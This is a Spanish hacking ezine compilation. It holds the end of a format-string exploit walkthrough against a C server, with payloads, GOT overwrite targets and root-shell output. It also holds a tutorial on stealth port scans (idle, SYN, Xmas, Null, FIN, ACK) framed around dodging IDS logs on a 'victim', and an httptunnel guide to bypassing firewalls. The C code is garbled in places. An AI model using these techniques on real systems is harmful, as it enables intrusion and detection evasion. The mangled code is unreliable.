Imprime el menu\n1 : Informacion sobre las ponencias\n2 :
Informacion sobre g-con\n3 : Informacion sobre los ponentes\n4 :
Salir\n\n", nombre);
write(fd, menu, strlen(menu));
}
void Info_Ponencias(int fd) {
int num = 0, x = 0, y = 0, i;
char ponente[256], actual[256], original[256];
bzero(ponente, sizeof(ponente));
bzero(original, sizeof(original));
while(ponencias[num].ponencia)
num++;
write(fd, "Escribe nombre del ponente: ",
strlen("Escribe nombre del ponente: "));
read(fd, ponente, sizeof(ponente)-1);
if(ponente[strlen(ponente)-1] == '\n') ponente[strlen(ponente)-
1]='\0';
strcpy(original, ponente);
for(i=0;i< num =" 0," x =" 0," y =" 0," i="0;i<> ", 2);
read(fd, car, 255);
car[255]=0;
if(car[strlen(car)-1] == '\n') car[strlen(car)-1] = '\0';
if(strlen(car) <> 3
Escribe nombre del ponente: AAAA%.8x%.8x%.8x%.8x%.8x
No se encontro ningun ponente llamado
AAAA000000004141414178382e2578382e2578382e25
> 4
Aplicacion saliendo...
sent 34, rcvd 347
[root@XtremeLinux Format_App]#
Pues si ahi esta el puto format bug, vamos vamos!!! si se puede si se
puede!
Okas primero veamos que putas funciones corre y en que direccion estan:
[root@XtremeLinux Format_App]# objdump -R listado2
listado2: file format elf32-i386
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
0804acb8 R_386_GLOB_DAT __gmon_start__
0804ac6c R_386_JUMP_SLOT __register_frame_info
0804ac70 R_386_JUMP_SLOT write
0804ac74 R_386_JUMP_SLOT strcmp
0804ac78 R_386_JUMP_SLOT perror
0804ac7c R_386_JUMP_SLOT accept
0804ac80 R_386_JUMP_SLOT tolower
0804ac84 R_386_JUMP_SLOT listen
0804ac88 R_386_JUMP_SLOT __deregister_frame_info
0804ac8c R_386_JUMP_SLOT strstr
0804ac90 R_386_JUMP_SLOT strlen
0804ac94 R_386_JUMP_SLOT __libc_start_main
0804ac98 R_386_JUMP_SLOT bind
0804ac9c R_386_JUMP_SLOT snprintf
0804aca0 R_386_JUMP_SLOT bzero
0804aca4 R_386_JUMP_SLOT exit
0804aca8 R_386_JUMP_SLOT htons
0804acac R_386_JUMP_SLOT socket
0804acb0 R_386_JUMP_SLOT read
0804acb4 R_386_JUMP_SLOT strcpy
[root@XtremeLinux Format_App]#
tenemos las direcciones ahora solo tenemos que ver que pedo con ellas:
Todo el desmadre esta en Info_Ponentes()
---listado.c---
....
....
if(!x) {
write(fd, "\r\n", 2);
write(fd, "No se encontro ningun ponente llamado ",
strlen("No se encontro ningun ponente llamado "));
bzero(actual, sizeof(actual));
snprintf(actual, sizeof(actual)-1, original);
write(fd, actual, strlen(actual));
write(fd, "\n", 1);
}
....
....
---listado.c---
chequen el snprintf() pusieron un strcpy() arriba para despistar pero los
tamanios son los mismos ni pedo la vida es asi al format =/
Bueno entonces tenemos que podemos hacer el format y sabemos donde esta,
podemos sobrescribir el write o sobrescribir el exit y despues mandar el
4 para que salga y te de el pinche shell la que quieras, hay pen pequeño
puto problema:
Ven dentro de listado.c la siguiente puta linea??
for(y=0;y<> execve()->/bin/sh si no no jala!),
puta madre ahora que hacemos?, pues nada we nada, tomar la direccion del
original a ese no le aplican el pinche tolower()!!! a buscar a buscar en
el gdb hay que buscar ... no es bonito y les da mucha ilusion?
Quien sabe usar gdb quien quien quien? nadie? pocos? muchos?
manden 41424344 y busquenlo en la memoria, de ahi saben la direccion que
deben ustedes de poner en la escritura, yo recomiendo usar exit() ya que
write truena bastante, jala bonito eh .. bastante:
[root@XtremeLinux g-con]# ./x-listado 127.0.0.1
sending
Linux XtremeLinux.raza-mexicana.org 2.4.18-3 #1 Thu Apr 18 07:37:53 EDT
2002 i686 unknown
uid=0(root) gid=0(root)
groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
exit
[root@XtremeLinux g-con]#
Bueno eso es todo, la hueva intrinseca no da para mas, en caso de tener
algun problema 0x90@raza-mexicana.org y les contesto.
Intentenle y calenle, hay de todo por ahi, como ataques a syslog() y
demas. Prometo escribir la version avanzada en la proxima ezine.
0x90
"The louder the music the better the code!"

Tecnicas de Escaneo Dumb, Half Open, Xmass, Null y FIN Scan. ACK e Inverse Scan.

=[Tecnicas de Escaneo]=

-[hd ]-

=[Introducción]=

Todos los días se puede ver gente en cualquier parte de Internet con
la misma pregunta de siempre... ¿Como me inicio en el mundo del hack?
¿Como comienzo?, ¿Que debo leer? , antes que nada cabe aclarar de una
vez que no soy hacker ni mucho menos, simplemente algo curioso. Y más
de alguno ha leido que hay que bajarse un programa llamado 'scaneador
de puertos' con el que te dice los "servicios", que está corriendo el
host que nos interesa, así que lo primero que hacen es ir en busca de
un programita de estos que nos de esa información tan valiosa...

Bueno, algo así le pasó a el amigo de un amigo, pero en la actualidad
hay herramientas tan 'sofisticadas' ante esas 'amenazas', ya cualquier
administrador decente cuenta en su red con un IDS, y si lo ponemos a
punto, pues es una magnifica herramienta para detectar este tipo de a-
taques a nuestros servidores. Así que, el punto era que no debemos de
usar los scaneadores de puertos?, no, solo explicaré un poco más a fon-
do algunos métodos de escaneo más discretos y que podamos pasar un poco
más desapercibidos.

Dividiré el txt en dos secciones, en la primera mostraré algunos tipos
de escaneos para ver si un puerto está abierto o no. La segunda parte
tratará un par de opciones para saber si un host existe o no en internet
pero esta vez solo con tcp y no ICMP como estamos acostumbrados.

Nota: supongo que para este punto tienes una leve idea de lo que es el
tcp/ip, cierto?


[Extracto de Flags en tcp/ip]

Nota: este pequeño extracto salio del texto escrito por Guybrush para
RazaMexicana...

<++>
...
- FLAGS : Hay seis banderas de 1 bit:

1. URG : Se establece en 1 si esta en uso el apuntador urgente.
El apuntador urgente sirve para indicar un desplazamiento en
bytes a partir del numero actual de secuencia en el que se
encuentran datos urgentes. Este recurso sustituye los mensajes
de interrupcion.

2. ACK : Se establece en 1 para indicar que el numero de acuse de recibo
es valido. Si el ACK es 0, el segmento no contiene un acuse de
recibo,por lo que se ignora el campo de numero de acuse de recibo.

3. PSH : Indica datos empujados (con PUSH). Por este medio se solicita
atentamente al receptor entregar los datos a la aplicacion a su
llegada y no ponerlos en el buffer hasta la recepcion de un
buffer completo.

4. RST : Se usa para restablecer una conexion que se ha confundido debido
a una caida de host u otra razon; tambien sirve para rechazar un
segmento no valido o un intento de abrir una conexion.

5. SYN : Se usa para restablecer conexiones. La solicitud de conexiones
tiene SYN = 1 y ACK = 0 para indicar que el campo de acuse de
recibo incorporado no esta en uso. La respuesta de conexion si
lleva un reconocimiento, por lo que tiene SYN = 1 y ACK = 1.

6. FIN : Se usa para liberar una conexion; especifica que el transmisor
no tiene mas datos que transmitir. Sin embargo, tras cerrar una
conexion, un proceso puede continuar recibiendo datos
indefinidamente.
...
<-->


---------------
>PRIMERA PARTE.
===============




----------------------
=[Seción TCP típica]=
----------------------

Cuando queremos comenzar una conexión común y corriente deacuerdo al
protocolo se usa de la siguiente manera:

*Nuestro host manda un paquete tcp, con los flags SYN en 1 (o prendido
como quieran llamarle), y el ACK en 0 y esperamos una respuesta.

*Si el puerto al que queremos alcanzar está en LISTEN (escucha) el host
puede aceptar o rechazar la conexión, aquí hay dos caminos:

A) Acepta: el host nos responde con un paquete con los flags SYN y ACK
prendidos, nosotros al final mandamos su ACK.

B) Niega: el host nos responde con un paquete con los flags RST y ACK
prendidos.

Así que como podemos ver, se hace una conexión completa con este medio
por lo que los IDS nos agarran al hacer demasiadas conexiones que duran
tan poco tiempo, e intentar muchas otras.

Ahora ya sabes un poco como trabaja un scaneador de puertos tradicional
si logra conectar con el puerto, nos lo informa. Pero esto hoy en día es
logueado al 100% y no queremos embarrar nuestra IP en montones de archi-
vos de logs, cierto?

Ahora pasaremos a ver otras tecnicas de escaneo donde no presisamos co-
menzar una seción tcp tradicional para conocer el estado del puerto, en
estos casos siguiente no se habre una conexión completa, por decirlo de
alguna manera.

NOTA: Para los logs estaremos en una shell linux, usando hping, ya que
este nos proporciona las estadísticas de envío, cosa que algunas
herramientas bajo windows no dan, o al menos las que he probado.

[Log]

Probaremos toda la teoría que veamos en pequeños registros, a continu-
ación el primero de ellos mostrando una seción tcp típica.
No veo la necesidad de esconder las IP, ya que la mía es dínamica y es
la primera vez que me saca de los rangos "comunes", así que no hay mucho
problema.

CASO A: El puerto está abierto

[root@bsdmex crypkey]# hping -S -p 80 200.64.170.73
HPING 200.64.170.73 (ppp0 200.64.170.73): S set, 40 headers + 0 data bytes
len=44 ip=200.64.170.73 flags=SA DF seq=150 ttl=119 id=7017 win=8760 rtt=153.4 ms
len=44 ip=200.64.170.73 flags=SA DF seq=166 ttl=119 id=7025 win=8760 rtt=177.0 ms
len=44 ip=200.64.170.73 flags=SA DF seq=217 ttl=119 id=7026 win=8760 rtt=196.7 ms
len=44 ip=200.64.170.73 flags=SA DF seq=219 ttl=119 id=7030 win=8760 rtt=238.4 ms

* Como podemos ver mi PC responde con las flags Syn y Ack prendidas (flags=SA)
lo que nos indica el estado de disponibilidad de nuestro puerto.

CASO B: El puerto está cerrado

[root@bsdmex crypkey]# hping -S -p 80 200.64.170.73
HPING 200.64.170.73 (ppp0 200.64.170.73): S set, 40 headers + 0 data bytes
len=40 ip=200.64.170.73 flags=RA seq=125 ttl=119 id=7007 win=0 rtt=254.8 ms
len=40 ip=200.64.170.73 flags=RA seq=127 ttl=119 id=7009 win=0 rtt=254.8 ms
len=40 ip=200.64.170.73 flags=RA seq=130 ttl=119 id=7013 win=0 rtt=254.8 ms
len=40 ip=200.64.170.73 flags=RA seq=135 ttl=119 id=7015 win=0 rtt=254.8 ms

* Esta vez mi PC responde con los flags Rst y Ack prendidos (flags=RA).

Ahora que ya tenemos bien fundamentada la teoría podemos pasar con más tecni-
cas.

NoTA: Gracias a crypkey por rolar shell para loguear este apartado.




------------
=[DumbScan]=
------------

[Historia]

Aparecio por primera vez según tengo entendido en un post de BUGTRAQ el
18 de Diciembre de 1998. Se le llamó de este modo gracias a que es necesario
contar con un host 'silencioso', al que embarraremos en los logs del host
que queremos scanear (si es que alcanza a logear...).

Su 'descubridor' por así decirlo fue 'antirez'.

[Teoría]

Primero que nada necesitamos contar con un host que practicamente no ten-
ga NADA de trafico en internet, hay varios, he visto redes enteras llenas,
de instalaciones de IIS con las opciones por default, y sin pagina de index
esos nos sirven muy bien para los terminos que necesitamos.
Pensaba escribir los rangos de Ip donde se pueden encontrar pero mejor no
me meto en problemas, o a ti te gustaría que un grupo de gente sin vida
social practicamente tome tus servidores de juguete?, verdad que no?

Bueno, ahora si comenzemos con la teoría:

Nombraremos a los host en este orden:

A> Será nuestra maquina
B> Será el host que queremos escanear
c> Será el host sin trafico, de aquí viene el nombre de 'dumb'

Nosotros comenzamos midiendo el trafico que genera el host C, con hping se
puede (Originalmente era con la opción '-r', en la versión < 1, hoy en día
están por sacar la versión 3...). Al parecer solo se cambio en hping1 ya que
en el MAN de hping2 podemos ver de nuevo:

-r --rel
Display id increments instead of id. See the HPING2-HOWTO for more information.
Increments aren't computed as id[N]-id[N-1] but using packet loss compensation.
See relid.c for more information.

Ya que estamos seguros de que el host C no tiene trafico (mirando en el campo
'id' generalmente se tendrá un 1). Ahora procedemos a envíar un paquete al host
B con la dirección de origen spoofeada para que paresca que el host C la mandó).

Miramos de nuevo el estado del host C y...

* Si los campos de 'id' siguen en el número constante del pricipio, el puer-
to en B está cerrado.

* Si los campos de 'id' están alterados ligeramente, que el número constante
de 'id' del principio, se haya alterado en algunas unidades, bueno, el chiste
es que el puerto en B se encuentra abierto, ya que al recibir el SYN B para
iniciar la conexión le manda un paquete a C con SYN|ACk prendidos, y como
este no sabe que es lo que pasó cierra la conexión con un RST, de ahí que
veamos que C está generando tráfico.

* Nota de revisión, ahora que me fijo bien, esto se podría clasificar como
scan Half Open :D, lo veremos más adelante.

NOTA: Recomiendo usar como host 'dumb' (C) una maquina con windows, porque?
porque los números id, son más predecibles (estables) que una maquina
con linux por ejemplo. Los numeros de secuenciación suman +1 cada vez.

[Herramientas]

- Windows
Puedes usar el VScan, usando el parametro '-idle'

- Linux
Para linux recomiendo usar el Idlescan

[Ejemplo]

vscan -idle 1.2.3.1 1.2.3.4 -p 21 23 -zombie 11.11.11.11 1337

* Aquí se escaneará:
- Desde la IP 1.2.3.1 hasta 1.2.3.4 (1.2.3.1, 1.2.3.2, 1.2.3.3, 1.2.3.4)
- Desde el puerto 21 (ftp) hasta el 23 (telnet) (21, 22, 23)
- Cabe destacar que el puerto en 11.11.11.11 (1337 te suena?), debe estar
abierto para hacer las comprobaciones necesarias.




-------------
=[Half Open]=
-------------


Este tipo de scan es también denominado SYN scan, y es muy parecido a
la función CONNECT, solo que a último momento decidimos no hacer la co-
nexión, que chingados es eso?, ahora lo explico...

Nuestro host manda un paquete tcp a el objetivo con la bandera SYN encen-
dida...

a) Si el puerto está cerrado, el objetivo nos responde con un RST.

b) SI El Puerto está abierto, el objetivo nos responde con un SYN|ACK e
inmediatamente debemos responder con un RST, cerrando la conexión.

La Ventaja pRincipal de este tipo de escaneo es que se reduce potenci-
almente los riesgos de que puedas ser detectado, pero en fín, no es 100%
seguro, ya que hay algunas herramientas que ya lo loguean como son:

-Synlogger
-Courtney

[Pro's]
- Es un scaneo más rápido, evita algunas barreras y IDS

[Contra's]
- Es necesario tanto en Linux como en windows tener máximos privilegios
para usar los raw sockets.

[Log]

Usaremos el tán afamado Nmap

[root@localhost root]# nmap -sS -p135 -P0 -vv 200.64.170.182

Starting nmap V. 2.54BETA31 ( www.insecure.org/nmap/ )
Host dup-200-64-170-182.prodigy.net.mx (200.64.170.182) appears to be up ... good.
Initiating SYN Stealth Scan against dup-200-64-170-182.prodigy.net.mx (200.64.170.182)
The SYN Stealth Scan took 36 seconds to scan 1 ports.
Interesting ports on dup-200-64-170-182.prodigy.net.mx (200.64.170.182):
Port State Service
135/tcp filtered loc-srv


Nmap run completed -- 1 IP address (1 host up) scanned in 37 seconds

NOTA: Cabe aclarar que 200.64.170.182 es una PC con w2k sp4, conexión a
internet con dial up. (Si, es mía ;), este tipo de scan nos da el
resultado más presiso del puerto, ya que, es cierto que tengo el
puerto 135 filtrado por firewall.

NOTA2: Si tu PC es de uso personal te recomiendo que desactives los ser-
vicios de DCOM, ya que por ahí ya hay algunos xploits que te dan
una shell inversa según ví.




--------------
=[Xmass tree]=
--------------


Este tipo de scan es de los más nuevos, quisá de los más extraños ya que
se utiliza una combinación de flags que en condiciones normales no se usa-
ría deacuerdo al protocolo RFC 793.

Se comienza mandando un paquete tcp con las banderas de FIN, URG y PSH y
se logra saber el estado del puerto si:

a) Si el puerto está cerrado, el objetivo nos responde con un RST.

[root@localhost root]# ./hping 64.70.145.95 -FUP -c 4 -p 81
HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes
60 bytes from 64.70.145.95: flags=RA seq=0 ttl=238 win=0 time=108.1 ms
60 bytes from 64.70.145.95: flags=RA seq=1 ttl=238 win=0 time=107.9 ms

--- 64.70.145.95 hping statistic ---
4 packets tramitted, 2 packets received, 50% packet loss

b) Si el puerto está abierto, el objetivo no regresa nada.

[root@localhost root]# ./hping 64.70.145.95 -FUP -c 4 -p 80
HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes

--- 64.70.145.95 hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss

* En nmap bastaría con correrlo así:
nmap -sX -p(rangode-puerto) IP

Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,
y BSDI.




-------------
=[Null Scan]=
-------------


Este tipo de scan requiere que mandemos un paquete tcp sin ninguna flag en
uso, por eso se le llama 'Null scan' ya que precticamente mandamos un paque-
te vacio, cabe aclarar que en los sistemas Windows no funciona este tipo de
procedimiento. Logramos saber el estado del puerto cuando:

a) Si el puerto está abierto, el objetivo no responde a el paquete.

[root@localhost root]# ./hping2 64.70.145.95 -c 4 -p 81
HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes
60 bytes from 64.70.145.95: flags=RA seq=0 ttl=238 win=0 time=109.5 ms

--- 64.70.145.95 hping statistic ---
4 packets tramitted, 1 packets received, 75% packet loss

b) Si el puerto está cerrado, el objetivo nos responde con un RST.

[root@localhost root]# ./hping2 64.70.145.95 -c 4 -p 80
HPING 64.70.145.95 (eth0 64.70.145.95): 40 data bytes

--- 64.70.145.95 hping statistic ---
4 packets tramitted, 0 packets received, 100% packet loss

Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,
,BSDI y MVS.

NOTA: para usar esta tecnica hay que modificar el hping.c...

if (tcp_th_flags == 0) /*tcp flags ain't set */
tcp_th_flags |= TH_FIN;

si no le dimos ninguna flag en el parametro, nos pone el FIN como
default, así que solo comentemos la línea y ruleará su hping.

* En nmap basta con correrlo así:
nmap -sN -p(rangode-puerto) IP




------------
=[FIN Scan]=
------------


Este tipo de scan manda un paquete "vacio" completamente a el host, como
prueba.

Esta tecnica no funciona en los sistemas de Microsoft, CISCO, IRIX, HP/UX,
y BSDI y MVS.

* En nmap basta con correrlo así:
nmap -sF -p(rangode-puerto) IP




---------------
>SEGUNDA PARTE.
===============

Aquí comienzan las opciones al ICMP común y corriente al que estamos acostum-
brados, ya que muchos administradores están comenzando a filtrar estos paquetes
reduciendo el trafico innecesario a sus redes, y evitando ciertos tipos de ata-
ques con este protocolo.

Así que es hora de buscar opciones a nuestro clasico ping. Aunque siempre es
más practico agotar su uso, y ya luego buscar otras opciones :p




------------
=[ACK Scan]=
------------

El ACK Scan, nos puede servir de dos cosas:

1) Comprobar la existencia de un firewall.

En el ACK Scan, mandamos un paquete con la bandera de ACK prendida, cuando el
filtro (la ente que está capturando el trafico), revisa que no hemos comenzado
una seción típica de tcp (primero va el SYN recuerdalo...), entonces:

a) Si el servidor nos responde con un RST, el puerto se puede clasificar como
'no filtrado'.

b) Si el servidor no nos responde, podemos considerar el puerto como filtrado.

Es bueno utilizar esta tecnica para saber si nuestro objetivo deja de ser el
host corriente con el que estás acostumbrado a tratar, ya que este cuenta con
un firewall en la mayoría de los casos, digo la mayoría ya que no solo los fi-
rewall hacen eso).

2) Comprobar la existencia del host en Internet.

Igual que en el anterior mandamos el paquete con la flag prendida, entonces:

a) Si se nos responde con un RST el servidor existe.

b) Si no se nos responde, o nos llega el mensaje de "host unreachable" entonces
el servidor no existe.

* En nmap basta con correrlo así:
nmap -PT IP




----------------
=[Inverse Scan]=
----------------


Esta tecnica es parecida al la anterior, solo que en esta se utiliza la flag
RST, y esperamos respuesta, en caso de:

a) No recibir nada, el host probablemente exista.

b) Recibimos el mensaje de "ICMP host unreachable", esto quiere decir que el
host no existe.

Lo especialmente bueno de esta tecnica es que ninguno (de los IDS que yo he
visto) loguean los paquetes RST con la configuración por default.




-------------
=[Despedida]=
-------------

Pues como podemos ver hay varias maneras de tratar de ocultar nuestros "actos"
y supongo que no son las únicas tecnicas que hay, solo es cuestión de conocer el
protocolo y adaptarlo a nuestras necesidades.

Y podemos ver que al final con un simple escaneo, pues se nos pueden pasar por
inadvertidos puertos "sensibles" de nuestra victima, así que, aquí tienen un poco
más de información que pueden utilizar para que su exploración sea presisa y un
poco más segura.

Gracias a todos aquellos que me rolaron una shell para guardar los logs, ya que
los sockets que se necesitan para hacer este tipo de cosas (Raw Sockets) necesitan
máximos privilegios, así que no mucha gente está dispuesta a darme root en su box
así nomás: Toloache, Crypkey, ST38410A y Spiderlinux.

Un Saludo a:

- Adriana...

- Mi equipo hakim.ws, hkm, taer y Freetv donde quiera que esté.

- Raza Mexicana, gracias a que alguna vez un niño curioso vio cierta ezine de ca-
sualidad en Inet, le dio por conocer este mundo. Gracias.

- KuKulKan, wireless, dr_fdisk^, vision, zacr, MaRieLvA, Yield, Fatal, Xytras, DeadSector,
0x90, beck, Daemon, dex, Neuro, rwx-rx, b1n, NaPa, a_d_mIRC, Espeis y de nuevo a
toloache gracias por todo!...
(si quieres ver tu nick aqui hd@hakim.ws XD)

- G7W (Ro,Bi,Su,Is,Ed,Ch & Da) ja!

Alguna queja, sujerencia, etc, etc, etc, escribe a: hd@hakim.ws

Nos vemos.




------------------------------
=[Referencias, Links & Stuff]=
------------------------------

- El acrónimo "IDS" viene del ingles Intrusion Detection Systems, traduscamolo como
sistema de detección de intrusiones, sirve para informar y loguear cualquier acti-
vidad que se le proporcione en el respectivo archivo de configuración del programa.

- Entiendase por'id', como el campo de ID de la IP en el output de hping.

- Intrusion Detection FAQ
Version 1.80 - Updated June 12, 2003
http://www.sans.org/resources/idfaq/

- Texto original acerca del "dumb scan"
http://www.kyuzz.org/antirez/papers/dumbscan.html

- "The hping Idle Host Scan"
Erik J. Kamerling
http://www.giac.org/practical/gsec/Erik_Kamerling_GSEC.pdf

- "Port Scanning without the SYN flag"
Uriel Maimon
Phrack #49 articulo 15
http://www.phrack.org/phrack/49/P49-15

- Idlescan-v0.1
Linux
http://www.securityfocus.com/tools/679

- Hping
Salvatore Sanfilippo
Linux
http://packetstormsecurity.nl/UNIX/scanners/hping.c

- Hping2
Salvatore Sanfilippo
Linux
http://www.hping.org

- Hping3
Salvatore Sanfilippo
Estado actual de desarrollo de Hping3, que prometen que sea una herramienta un poco
más superior a hping2, con una salida más 'leible', y al parecer se le van a poder
agregar scripts, esas son algunas de sus caracteristcas finales.
http://www.kyuzz.org/antirez/hping3.html

- Nmap
Fyodor
Linux, Windows, FreeBSD, OpenBSD, Solaris, IRIX, Mac OS X, HP-UX, NetBSD, Sun OS, Amiga.
http://www.insecure.org/nmap/

- Man del Nmap
http://www.insecure.org/nmap/data/nmap_manpage-es.html

- Una pequeña guía acerca del uso de Nmap
http://www.plazalinux.com/nmap-intro-guide.php

- VScan
viv3kr
Windows 2000 y Windows Xp
http://www.securityfocus.org/tools/3124

- Sendtcp.c
messer
http://packetstorm.linuxsecurity.com/Win/sendtcp.c

- SynLog
Thamer AL-Herbish
http://www.cis.udel.edu/~zhi/www.docshow.net/warcher/synlog-0.4.tar.gz

- Courtney
University of California
Requiere Perl v.5, libpcap, y tcpdump.
ftp://coast.cs.purdue.edu/pub/tools/unix/logutils/courtney/

Manual HTTPTUNNEL en español. ( "Como brincar firewalls" )

HTTPTUNNEL


HTTPTUNNEL
.Gnu.httptunnel

PROTOCOLOS
.HTTP.1.1

FAQ DE HTTPTUNNEL
.FAQ.de.httptunnel

HTTPTUNNEL -H --HELP
.htc.-h.--help
.hts.-h.--help

PUERTOS
.Lista.de.puertos.comunes
.Lista.de.aplicaciones.relacionadas.con.puertos

REFERENCIAS
.Referencias

GR33TS
.gr33ts




HTTPUNNEL
<=======>

.Gnu.httptunel

HTTPTUNNEL crea una conexion virtual bidireccional tuneleada
en peticiones de HTTP. Las peticiones de HTTP pueden ser
enviadas atraves de un proxy.

Si por ejemplo te encuentras detras de un firewall que
unicamente te permite ver paginas de internet (puerto 80) y
no te deja correr otros servicios como Kazaa, MSN Messenger,
IRC, Telnet, SSH. Con esta herramienta podras pasar
diferentes conexiones atravez del mismo puerto 80.

Para lo siguiente necesitaras una maquina externa la cual
usaras como tunel para conectarte a la maquina destino. Ej.

Quieres conectarte a un canal de IRC pero en tu red esta
bloqueado el puerto 6667 necesario para la conexion al
servidor irc.red-latina.org...

A localhost cliente (htc)
B maquinatunel servidor (hts)
6667 puerto de IRC
irc.red-latina.org servidor de IRC

A:6667 <--> FIREWALL -> X

El firewall bloquea la salida por ese puerto.

A:80 <==> FIREWALL <==> B:80 <--> irc.red-latina.org:6667

La conexion 192.168.0.2:80 sale por el puerto 80 permitido
por el firewall dirigido a la conexion B:80 quien recibe la
informacion de irc.red-latina.org y la mete en peticiones de
HTTP para ser pasadas atravez del puerto 80.

La forma de transmision por puerto 80 estan reguladas por el
protocolo HTTP, por lo que es necesario hacerle un
encapsulamiento a la informacion de manera que sea
compatible con este protocolo.

El encapsulado es llevado a cabo en la maquina tunel (B) y
es leido por la maquina del cliente (A), es por eso que se
usan los programas htc (cliente) (A) y hts (servidor) (B)

Por parte del servidor es necesario correr:
$ hts -F irc.red-latina.org:6667 80

Por parte del cliente correr:
$ htc -F 80 B:80





PROTOCOLOS
<========>

.HTTP

El protocolo HTTP 1.1 Hyper Text Transfer Protocol (RFC2616)
utilza metodos de peticiones llamados HTTP request, una
peticion de URL, encabezado y contenido. HTTP 1.1 define los
siguientes metodos:

* GET: Obtiene recurso identificado por la peticion de URL
* HEAD: Obtiene encabezado especificado en peticion de URL
* POST: Manda datos al servidor
* PUT: Guarda un recurso en la peticion de URL
* DELETE: Borra recurso identificado por la peticion de URL
* OPTIONS: Obtiene metodos de HTTP que soporta el servidor
* TRACE: Obtiene encabezados mandados por la peticion TRACE






FAQ DE HTTPTUNNEL
<===============>

.FAQ.de.httptunnel

Q: Que es y para que sirve httptunnel?
A: Es un programa para mandar informacion atravez de un
HTTP proxy. En si esto no es muy importante, necesitas un
cliente del programa para crear el "tunel". Por ejemplo
puedes usar telnet para conectarte a una computadora fuera
del proxy.

Q: Como me conecto atravez del proxy?
A:

En el server debes correr hts. Si quisieras redirigir el
trafico del 80 (http) al puerto 23 (telnet) pondrias algo
asi:

hts -F server.test.com:23 80

En el cliente debes correr htc. Si te conectaras atraves de
un proxy utiliza la opcion -P.

htc -P proxy.corp.com:80 -F 22 server.test.com:80

Un telnet a localhost mandara el trafico por el puerto 80
del proxy server al puerto 80 del server, y de regreso a tu
puerto 23.

Q: httptunnel crashea mi SuSE 5.3, porque?
A: No se, pero actualizar a 6.0 ayuda.

Q: Puse 'hts -d /dev/ptyq1' pero 'cat marca error.
A: Usa 'cat
Q: Mi amigo corre hts en el puerto 8888, pero cuando
me intento conectar me marca error.
A: hts no maneja tunneles multiples. Puedes correr
otro proceso de hts.

Q: Mi firewall requiere HTTP user authentication (y
no es soportado por httptunnel). Planean algun dia incluir
soporte?
A: Si.

Q: Que tan dificil seria implementar hts como un cgi
en un servidor de web normal?
A:

hts no puede ser llamado directamente del HTTP server,
porque abriria demasiadas conexiones en el lifetime del
tunnel. Si el HTTP server ejecuta nuevas instancias,de hts
cada ves que se hace un request no se tendria acceso al hts
anterior.

De todas formas un proxy CGI que mande el request a un hts
normal esuchando en un puerto diferente al 80 seria algo
facil de hacer.

Q: Has pensado en implementar HTTPS?
A: Ha sido sugerido, pero es preferible usas software
externo para realizar la encripcion.

Q: En REMOTE (brugd.ctrl-c.liu.se) hago lo siguiente:

hts -F localhost:23 8888

Esto funciono bien la primera vez, y ahora me marca:

hts: couldn't create tunnel

A: El proceso sigue corriendo en el backgroud.
Q:

En LOCAL (dhcp-XXX.enea.se) hago:

htc -F 2323 -P
http://internwebb/proxy2.pac:8000 brugd.ctrl-c.liu.se:8888

Y ahora intento:

[root@localhost httptunnel-1.101]# telnet localhost 2323
Trying 127.0.0.1...
telnet: Unable to connect to remote host: Connection refused

A: [Christian Brideau] http://internwebb/proxy2.pac:8000
no es la direccion del proxy. Esta es la direccion del
Proxy-Auto-Configure (PAC). Este archivo contiene la
direccion del servidor proxy. Para encontrarla solo abre un
browser a cualquier pagina y usa netstat.

Q: Porque falla el 'configure' en HP-UX?
A:

Porque no has instalado GCC. Si

CFLAGS=-O ./configure

no funciona, instala gcc, o cualquier compilador ANSI C.

Q: Cuando uso SSH (o VNC, o )
atravez del httptunnel, El programa se congela despues de un
tiempo. Cuando quiero cerrar el programa y reconectar me
marca un timed out. Que pasa?

Tu conexion de httptunnel ha fallado por parte del cliente,
pero el server no ha detectado que la conexion se ha perdido
y no permitira conexiones hasta que llegue a su time out.
Para establecer un tunel mas estable experimenta con las
opciones de los hts y htc. Las siguientes funcionan bien
para mi:

hts -S --max-connection-age 20000 -F localhost:22 8890

htc -F 8890 --strict-content-length -B 5k
--max-connection-age 2000 -P proxy.mycompany.com:8080
10.1.1.1:8890

Q: Ok, Ya econtre unas opciones que parecen funcionar,
pero me sigue "bloqueando" y tengo que esperar el time out
del server. Existe alguna forma para no tener que esperar?
A:

Tienes que terminar el proceso manualmente, para realizar
esto necesitas una conexion de tipo SSH o Telnet que
funcione dentro del server que corre el hts. Estos ejemplos
fueron creados para cuando tienes 2 o mas tuneles corriendo.
Ahora, cuando se congele vas a conectarte a tu servidor y
terminar el proceso de hts del puerto el cual se te congelo.

En caso de LINUX:

#Usa la opcion 'w' para verlo completo
#y asi puedes determinar cual hts es por el puerto en el que
#corre y poder terminar el proceso con su PID
$ ps aux w|grep hts
my_user_name 7268 0.0 0.3 1692 768 ? S Sep24
0:00 hts -S -F localhost:22 8890
my_user_name 7270 0.0 0.2 1692 744 ? S Sep24
0:00 hts -S -F localhost:22 8891
my_user_name 10515 0.0 0.2 1692 720 ? S 15:37
0:00 hts -S -F localhost:22 8889
my_user_name 10549 0.0 0.2 1624 616 pts/2 S 15:40
0:00 grep hts

#asumimos que es el httptunnel del puerto 8889
$ kill 10515

#reiniciamos hts
$ hts -S -F localhost:22 8889


En caso de WINDOWS (2000, XP):

#Usamos netstat -a -o para ver todas las conexiones
#y los PIDs asociados con cada conexion
> netstat -a -o
Proto Local Address Foreign Address State PID
TCP LOCALHOST:8889 LOCALHOST:0 LISTENING 2696
#suponemos que el hts esta corriendo en el puerto 8889

#identificamos que PID es el asociado con esa conexion 2696
#y lo terminamos con taskkill /F /PID PID
>taskkill /F /PID 2696
SUCCESS: The process with PID 2696 has been terminated.
#y volvemos a inciar el hts como estaba
>hts -S -F localhost:23 8889

Q: Porque me siguen marcando errores el Application
Event Log al usar htc en Windows? Que significa "HTTP
error-503"?

9/24/2001 2:10:15 PM htc Error None 0 N/A MYPC_NAME The
description for Event ID ( 0 ) in Source ( htc ) cannot be
found. The local computer may not have the necessary
registry information or message DLL files to display
messages from a remote computer. The following information
is part of the event: htc : Win32 Process Id = 0x6BC :
Cygwin Process Id = 0x6BC : exit with status = 1.

